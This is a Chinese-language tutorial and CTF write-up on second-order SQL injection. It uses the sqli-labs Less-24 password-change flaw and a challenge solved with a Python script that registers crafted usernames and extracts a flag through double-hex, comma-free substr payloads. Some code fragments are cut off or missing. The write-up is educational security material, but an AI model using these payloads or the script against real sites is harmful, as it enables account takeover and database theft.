二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。
二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
二次注入,可以概括为以下两步:
这里我们使用sqli-labs/Less24为例,进行二次注入方法的练习:
登录的部分源代码如下:
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入。
继续研究,发现登陆页面可以进行用户注册,这里我们注册一个admin’#的账号:
注册新用户过程中的处理代码:
if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
;
";
可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin’#:
这时,我们用admin’#登陆,并进行密码修改,密码修改为123456:
可以看到admin的密码由原来的123修改为123456。
登录成功后修改密码的源代码:
if (isset($_POST['submit']))
{
# Validating the user input........
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if($pass==$re_pass)
{
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_affected_rows();
echo '';
echo '';
if($row==1)
{
echo "Password successfully updated";
}
else
{
header('Location: failed.php');
//echo 'You tried to be smart, Try harder!!!! :( ';
}
}
else
{
echo '';
echo "Make sure New Password and Retype Password fields have same value";
header('refresh:2, url=index.php');
}
}
Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
“UPDATE users SET PASSWORD=‘123456’ where username=‘admin’#’ and password=’$curr_pass’”。
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。
正常注册,登录,抓包看逻辑
注册有用户名、登录没有用户名,登录成功后用户名回显,猜测用户名存在二次注入
尝试用户名 1’ and '0
登录后发现用户名是0,说明存在二次注入
成功注册,状态码302
注册失败,状态码200
用burpsuite跑一遍字典查看过滤字符,
“,”和“information”( 无法通过类似x’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#语句得到表名字)都被过滤掉了
注入语句实现方式
我们可以看这样的语句:
如果用了hex:
这样’test’字符串的十六进制就会成功显示出来
但是还有个问题:
flag的十六进制里存在字母。如果让它和’0’相加的话,会存在截断的问题:
所以我们应该二次hex,让最后的结果全是数字,这样就不存在截断的问题了:
但是还有问题。如果结果超过10位的话,会转成科学计数法,导致丢失数据。因此要用substr来截,因为这题过滤了逗号,所以要用from for来绕过:
还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
测试payload:[email protected]&username=0’%2B(select hex(hex(database())))%2B’0&password=123456
最终脚本:
import requests
login_url='http://220.249.52.133:39445/login.php'
register_url='http://220.249.52.133:39445/register.php'
content=''
for i in range(1,20):
data_register={'email':'15@%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
#print(data)
data_login={'email':'15@%d'%i,'password':'1'}
requests.post(register_url,data=data_register)
rr=requests.post(login_url,data=data_login)
rr.encoding='utf-8'
r=rr.text
location=r.find('user-name')
cont=r[location+17:location+42].strip()
content+=cont
print(cont)
#content=content.decode('hex').decode('hex')
print(content)
得到flag:
参考大神博客:https://www.jianshu.com/p/3fe7904683ac
https://www.jianshu.com/p/3fe7904683ac